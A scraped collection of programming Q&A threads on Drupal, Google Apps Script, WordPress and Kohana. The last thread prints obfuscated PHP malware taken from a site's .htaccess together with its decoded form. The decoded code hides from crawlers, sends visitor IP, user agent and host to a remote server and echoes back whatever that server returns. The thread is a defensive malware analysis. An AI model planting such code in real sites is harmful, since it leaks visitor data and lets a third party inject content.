Drupal 7 sort search results by relevancy - search

In my module I have this implementation where I have a hook_search_execute() function which can be used for rewriting/extending default Drupal search. This function calls for executeFirstPass() method and adds to the query the following $first->addExpression('SUM(i.score * t.count)', 'calculated_score');
When I'm trying to add my sorting as following $query->orderBy('calculated_score', 'ASC');, I have an error.
However if I add $query->orderBy('n.title', 'ASC'); or $query->orderBy('n.created', 'ASC'); everything is fine and is sorting as it should be.
Does anyone have any ideas why this is happens?

After all my research I came only to this crappy solution.
In modules/search/search.extender.inc file we have the following code in line 437 (depends on Drupal version).
....
// Convert scores to an expression.
$this->addExpression('SUM(' . implode(' + ', $this->scores) . ')', 'calculated_score', $this->scoresArguments);
if (count($this->getOrderBy()) == 0) {
// Add default order after adding the expression.
$this->orderBy('calculated_score', 'DESC');
}
....
I turned this code into:
....
// Convert scores to an expression.
$this->addExpression('SUM(' . implode(' + ', $this->scores) . ')', 'calculated_score', $this->scoresArguments);
if (count($this->getOrderBy()) == 0) {
if ($_GET['orderby'] == 'relevance' && $_GET['orderdir'] == 'ASC') {
$dir = 'ASC';
}
else {
$dir = 'DESC';
}
// Add default order after adding the expression.
$this->orderBy('calculated_score', $dir);
}
....
Please feel free to propose clean solution.

Related

Remove trailing spaces in string in google apps script

I am grouping by "Id" and get the sum of "Total_Weight" in google apps script. This is the result of that computation.
res_1 output:
[ { Id: '400 ', Total_Weight: 484308 },
{ Id: '500W', Total_Weight: 13232 } ]
After this, I have a if-else clause that loops over the "Id" in above array and does some computation.
res_1.forEach((r2,i2)=>{
if (r2['Id']=="400") {
var cost = (r2['Total_Weight']/1000)*cost
NewArray.push([r2['Id'], cost]);
}
else if (r2['Id']=="400W") {
var cost = (r2['Total_Weight']/1000)*cost
NewArray.push([r2['Id'], cost ]);
}
}
My challenge is in "res_1" the first Id is "400 " (400 followed by a space). Hence, when it comes to the for loop, it does not go into the first if clause. I tried with replacing spaces but that doesnt work as well.
Are there any ways that this could be resolved? Any leads would be great.
Try using the .replace call on the res_1 output like so:
var res_1_trim = res_1.replace(/\s/g, "")
res_1_trim.forEach((r2,i2)=>{
if (r2['Id']=="400") {
var cost = (r2['Total_Weight']/1000)*cost
NewArray.push([r2['Id'], cost]);
}
else if (r2['Id']=="400W") {
var cost = (r2['Total_Weight']/1000)*cost
NewArray.push([r2['Id'], cost ]);
}
}
\s is a solution to find whitespace and the 'g' provides a match for instances of whitespace.(.replace documentation)

Convert string to number, respecting dots and commas for ordering

I need to order some products that are registered by users, based on their price.
I'm using WordPress and when the user ads a product, I get the field via input=text, then convert it with a function.
Unfortunately, the field that receives the converted number is also a text field and I can't change that.
So, I used the same function to convert the number when I loop the posts and get their content.
As far as visual goes, it works perfectly... But when I try to order by the price... It gets messed up.
Here is the function I have:
//convert the number wich is a string, to float
function tofloat($num) {
$dotPos = strrpos($num, '.');
$commaPos = strrpos($num, ',');
$sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos :
((($commaPos > $dotPos) && $commaPos) ? $commaPos : false);
if (!$sep) {
return floatval(preg_replace("/[^0-9]/", "", $num));
}
return floatval(
preg_replace("/[^0-9]/", "", substr($num, 0, $sep)) . ',' .
preg_replace("/[^0-9]/", "", substr($num, $sep+1, strlen($num)))
);
}
$value = get_field('preco_anuncio');
$precoFinal = tofloat($value);
Any ideas how to solve that? I need to preserve the 'visual' with dots and commas. Like: 3.567,00 €
Ok, so I got it to work. Don't know if it's the right way or the best way... But it solved my problem and I don't see any problem with it.
Here is what I did:
The input I have is a text input.
I used JavaScript to visually make it look more like a currency field.
When registering into the database, I convert it with the function toFloat that I posted:
function tofloat($num) {
$dotPos = strrpos($num, '.');
$commaPos = strrpos($num, ',');
$sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos :
((($commaPos > $dotPos) && $commaPos) ? $commaPos : false);
if (!$sep) {
return floatval(preg_replace("/[^0-9]/", "", $num));
}
return floatval(
preg_replace("/[^0-9]/", "", substr($num, 0, $sep)) . ',' .
preg_replace("/[^0-9]/", "", substr($num, $sep+1, strlen($num)))
);
}
Then I use the number_format() to remove any dots or spaces:
number_format($precoAd, 2, ',', '');
When I get the value back from the database, I pass it again to number_format() so it will look as I need:
number_format($value, 2, ',', '.');

Show only authors post except a single post ID

I am working with Wordpress, and I have a post type using ACF fields.
The fact is that I used a function in function.php to show only author's posts but I completely forgot that It wont show the ACFgroupfields
Here is my function
function posts_for_current_author($query) {
global $user_level;
if($query->is_admin && $user_level < 5) {
global $user_ID;
$query->set('author', $user_ID);
unset($user_ID);
}
unset($user_level);
return $query;
}
add_filter('pre_get_posts', 'posts_for_current_author');
How to make an exception for an ID for a post ?
Thank you very much !
Might be a bit late to respond to this. But what you could try is something like this.
add_action( 'pre_get_posts', 'pre_check', 10, 2);
function pre_check($query) {
global $user_ID;
if ( !current_user_can( 'edit_others_posts' ) && $query->query['post_type'] != 'acf-field-group' && $query->query['post_type'] != 'acf-field') {
$query->set('author', $user_ID);
}
return $query;
}
This way it will not list posts/pages other than what belongs to the author. And still display the ACF fields on the posts/pages itself.

Kohana 3.1 Query Count & Pagination

I am getting my feet wet with Kohana but having trouble with pagination. i get the following error :
ErrorException [ Fatal Error ]: Class
'Pagination' not found
following the unoffical wiki I amended the bootstrap file to include this:
Kohana::modules(array( 'database' => MODPATH.'database', 'userguide' => MODPATH.'userguide', 'pagination' => MODPATH.'pagination', ))
but that didn't seem to help.
my second question is with regards to query count.... I am surprised there is no function like $query-count() unless i opt for ORM instead i find this solution a bit clunky given that a query count is a must for every pagination request:
$result['count'] = $pagination_query->select('COUNT("*") AS result_count')->execute()->get('result_count');
Any suggestions?
thank you very much
Kohana 3.1 does not come with the pagination module...
it must be downloaded from
https://github.com/kohana/pagination
then go to the class/kohana edit line 199 from ->uri to ->uri()
that does it
as to the query count....still searching.
hope this helps someone
There used to be a count_last_query() function in the Database class which provided the total results of the last query run as it would be without any limit or offset, but they pulled it from version 3.0.9. You can find the documentation of it here:
http://kohanaframework.org/3.0/guide/api/Database#count_last_query
I've actually built upon the code from that function to make my own count query function if you want to use that.
protected static function _pagedQuery($query) {
$sql = (string)$query;
if (stripos($sql, 'LIMIT') !== FALSE) {
// Remove LIMIT from the SQL
$sql = preg_replace('/\sLIMIT\s+[^a-z]+/i', ' ', $sql);
}
if (stripos($sql, 'OFFSET') !== FALSE) {
// Remove OFFSET from the SQL
$sql = preg_replace('/\sOFFSET\s+\d+/i', '', $sql);
}
if (stripos($sql, 'ORDER BY') !== FALSE) {
// Remove ORDER BY from the SQL
$sql = preg_replace('/\sORDER BY\s+`\w+`(\.`\w+`)?(\s+DESC|\s+ASC)?/i', '', $sql);
}
$db = Database::instance();
$result = $db->query(Database::SELECT, '
SELECT COUNT(*) AS ' . $db->quote_identifier('total_rows') . '
FROM (' . $sql . ') AS ' . $db->quote_table('counted_results'),
TRUE
);
return (int)$result->current()->total_rows;
}

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...

Resources